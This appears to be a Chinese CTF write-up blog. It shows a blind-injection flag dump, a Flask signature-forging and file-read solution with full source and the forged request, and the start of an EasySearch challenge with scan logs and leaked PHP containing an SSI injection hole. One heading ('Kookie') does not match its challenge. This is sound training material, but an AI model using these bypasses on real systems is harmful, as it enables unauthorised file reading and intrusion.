列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_S
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Sy
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syc
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Sycl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclo
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclov
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclove
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,c
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_r
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_re
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_rea
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_real
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_reall
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_n
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_ne
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_nee
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_g
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_gr
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_gri
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_gril
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilf
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfr
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfri
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfrie
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfrien
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,f
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,fl
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,fla
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{e
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{ed
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc22
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc228
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c3
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c34
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4b
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b47
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-7
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-734
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-7344
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0d
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0db
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0dbb
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0dbb4
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0dbb43
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0dbb43}
列值: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{edc2283e-c340-4bb3-b477-73448d0dbb43}
你需要的flag为:flag{edc2283e-c340-4bb3-b477-73448d0dbb43}

进程已结束,退出代码0

那么,为什么放这么长的回显呢?

当然是怕你寂寞啦╮( ̄▽  ̄)╭

继续刷题学习。

[BSidesCF 2019]Kookie

原始信息

题目提示的单词和cookie有些相似,应该是cookie有利用点。

#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr

if waf(param):
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

提供的源码很长,是一个Python搭建的flask站点。

解题

尝试对源码进行分析:

#! /usr/bin/env python
# encoding=utf-8
# 导入模块
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

# 两行编码,将程序设置为utf8的格式
reload(sys)
sys.setdefaultencoding('latin1')

# 所有程序必须创建的flask初始化程序实例
app = Flask(__name__)
# 指定生成密钥长度为16的随机数
secret_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
# 此处应该是md5加密
self.sandbox = md5(ip)
# os.path.exists:判断指定路径是否存在
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
# 创建指定文件夹
os.mkdir(self.sandbox)


def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
#打开指定路径的文件并且写入
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
#这是下面的自定义函数
resp = scan(self.param)

if resp == "Connection Timeout":
# 如果返回链接超时就赋值给result['data']
result['data'] = resp
else:
print(resp)
# 写入到文件对象
tmpfile.write(resp)
# 结束文件的写入以及调用
tmpfile.close()
# 状态码编辑为200
result['code'] = 200

if "read" in self.action:
# 读取文件内容
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
# 500报错,但是是修饰过的
result['data'] = "Action Error"
else:
# 强行给赋值500报错
result['code'] = 500
# msg状态赋值为 "签名错误"
result['msg'] = "Sign Error"

return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False

# 把装饰函数注册为路由
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
"""
个人理解:从php角度
url解码,再传参
param = urldecode(get["param"])
action = "scan"

最后调用下面的getSign(action, param)进行处理
"""

# URL解码函数 urllib.unquote
# 解码URL字符串,解码的参数是param
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

# 把装饰函数注册为路由
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
"""
个人理解
action = cookie[action]
param = get[param]
sign = get[sign]
赋值完成后,防火墙筛查param
调用类进行处理
task = Task(action, param, sign, ip)
将python obj转json
json.dumps(task.Exec())
"""
# 获取名为"action"的cookie值
action = urllib.unquote(request.cookies.get("action"))
# 查询字典当中的"param"参数值
param = urllib.unquote(request.args.get("param", ""))
# 获取名为"sign"的cookie值
sign = urllib.unquote(request.cookies.get("sign"))
# 获取客户端IP地址
ip = request.remote_addr

# 调用防火墙函数
if waf(param):
return "No Hacker!!!!"

# 调用类处理
task = Task(action, param, sign, ip)
# 将python对象转json字符串
return json.dumps(task.Exec())

# 把装饰函数注册为路由
@app.route('/')
def index():
"""
默认读取文件
"""
return open("code.txt", "r").read()


def scan(param):
"""
设置超时:1s

打开param这个url,只读取前50个字符串,并且返回。
否则显示超时
"""
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
"""
将传入的参数和随机数密钥拼接在一起后,
进行md5加密+使用十六进制进行输出
"""
return hashlib.md5(secret_key + param + action).hexdigest()


def md5(content):
"""
加密功能和上面的一样
"""
return hashlib.md5(content).hexdigest()


def waf(param):
"""
strip 分割字符串左右空白字符,
lower 将字符串转换为小写

check.startswith 是否以gopher开头或者file开头
"""
check = param.strip().lower()

# 过滤掉两个协议
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
# 关闭调试模式
app.debug = False
# 绑定IP地址和端口
app.run(host='0.0.0.0', port=80)

这么来看的话,传参的函数处理有两个:

  1. 一个是负责将输入的字符串md5编码后转换为十六进制字符串输出到前端
  2. 一个是传入网址,查看网址的协议是不是敏感协议gopher和file,不是则尝试调用类来处理。

这里大概梳理下第二种方法的流程:

# 上面梳理了一点,这里稍微做点补充整合
"""
cookie值控制action和sign
get控制param
IP地址不参加判断,先忽略。

输入3个参数,返回一个被json处理的类方法
第四个参数IP,至始至终都没有参加过运算的条件判断,故忽略不计

1.返回哈希值(URL请求1)
/geneSign?param=111
这里有一个很重要的点,就是传入的字符串加密后,在我们访问浏览器时获取的字符串是恒定的

恒定的 secret_key:
假设你传入的就是111,那么加密后如下:
03b7d9fad9ebeb01d93ddea09b10b4f3
只要你靶场没挂,那么访问到的这个111加密的值就一定是固定的
(可能这是flask的常识,但毕竟小白得认真点嘛……)

2.返回flag的方法:(URL请求2)
这个传参调用hackbar插件就能实现了。
/De1ta?param=xxxxx
Cookie: action=?;sign=?
"""

两种URL访问方式清晰了,那么传入的参数呢?

分析下我们要传入什么。我们要读取的是flag.txt,而读取的方式分为下面两种:

# 写入文件的的if部分,条件是scan在action当中
if "scan" in self.action:
# 读取文件的if部分,条件是read在action当中
if "read" in self.action:
# 因为是 "in" 而不是 "=",并且是Python环境
# 所以说,最简单的办法,就是让
action='scanread'

现在确定了第一个参数action,接下来确认第二个参数param:

想要进入这两个if判断实现文件的读写,首先得满足最顶层的那个if判断

# if self.checkSign():的解读如下
self.checkSign()
等价于
getSign(self.action, self.param) == self.sign
等价于
hashlib.md5(secret_key + param + action).hexdigest() = sign
# 这说明,我们要传入的是拼接好后与sign相等的值。
# 这个需要调用前面的加密函数进行加密,也就是第一个传参
action的值基本确定了,param传参的值怎么确定?
# 这个得往后看:scan判断后,函数执行如下:
scan(self.param)
等价于:
urllib.urlopen(param).read()[:50]
# 这个点是最让我不理解的地方。因为如果这点成立,那就是任意文件读取漏洞了
# 这是最让我匪夷所思的点。不过经过测试,这种读取方式同样适用于当前目录下的code.txt
# url的方式读取当前目录下的param,状态码显示正常
# 有了这么个读取当前文件夹下文件的办法,根据提示词"flag is in ./flag.txt"
# 就知道了可以读取当前目录下的flag文件。根据后面的反馈,确定了param是文件名:
resp = scan(self.param)
tmpfile.write(resp)
# 确定下来为:
param=flag.txt

# 现在,还差最后一个参数:sign
# 下面的(式子1)和(式子2)分别是URL请求2和URL请求1的两个相同式子的交叉理解
# 既然如此,根据这个式子:
hashlib.md5(secret_key + param + action).hexdigest() = sign
得到值变换为:(式子1)
hashlib.md5(secret_key + 'flag.txt' + 'readscan').hexdigest() = sign
# 我们可以看到缺少的参数就剩下key,但key是固定的。
# 无法直接获取key,那么可以尝试调用现有的方法去生成带key的加密数据带入到式子进去。
# 调用加密哈希函数:
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
# 这个是简写(式子2)
return hashlib.md5(secret_key + param + action).hexdigest()
# 根据特征可以看出,内定的action值为"scan",原本的拼接(上面那个)是这样子的:
#(式子1)
hashlib.md5(secret_key + 'flag.txt' + 'readscan').hexdigest()
# 在这里对action的值进行定义后,就变成了这个样子:
#(式子2)
hashlib.md5(secret_key + 'flag.txtread' + 'scan').hexdigest()
# 所以说,想要得到sign的值,想要进行一次
/geneSign?param=flag.txtread
# 的申请,获得其哈希值


# 哈希值的获取
/geneSign?param=flag.txtread
# 返回:25852ee8f0abce94d5630069b01f65b6
#所以说sign的值为:
sign=25852ee8f0abce94d5630069b01f65b6


# 总结下,URL为:
GET: /De1ta?param=flag.txt
COOKIE: action=readscan;sign=25852ee8f0abce94d5630069b01f65b6

这么一来,flag就回显出来了。

总结

鲜少遇到的flask源码审计,审计时还很难察觉到读取文件的函数是哪个的那种。不得不承认昨天虽然精神状态很糟糕,但还是把源码解析出来了。这里我意识到了一个一直以来被我忽略的东西:当前文件目录下的文件哪怕是Python,也能实现任意文件的读取,而且是在调用flask时,当作网络存储资源进使用。

这次不知道是不是大收获,知道了一些Python除开Open函数的读取函数。

这里的WAF把某些协议禁用了,让我往协议那方面靠,属于是掉坑里了……

[BJDCTF2020]EasySearch

原始信息

一个登录框,单从源码上看,没什么信息。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="text/css">
</head>
<body><div class="login">
<form action="index.php" method="post" id="form">
<div class="logo"></div>
<div class="login_form">
<div class="user">
<input class="text_value" value="" name="username" type="text" id="username" placeholder="username">
<input class="text_value" value="" name="password" type="password" id="password" placeholder="username">
</div>
<button class="button" id="submit" type="submit">登录</button>
</div> <div id="tip"></div>
<div class="foot">
bjd.cn
</div>
</form>
</div></body>
</html>

这个页面能提供的信息太有限了,最多就剥离出一个表单提交用到的username和password。

尝试直接扫站:

# 扫站的工具是dirmap,使用dirsearch也行,如果有字典,使用BP也能扫。
[200][text/html;charset=utf-8][426.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/index.php
[200][text/html;charset=utf-8][426.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/index.php
[200][text/css][535.00b] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/login.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/css][4.63kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81/public/css/base.css
[200][text/plain; charset=utf-8][1.13kb] http://15d3e6ac-696a-4ea5-a7fb-68f75450b7df.node4.buuoj.cn:81//index.php.swp
100% (5878 of 5878) |############################################################| Elapsed Time: 0:12:02 Time: 0:12:02

# 这里就发现了一个很最重要的文件:index.php.swp

打开index.php.swp得到源码:

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; //Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>

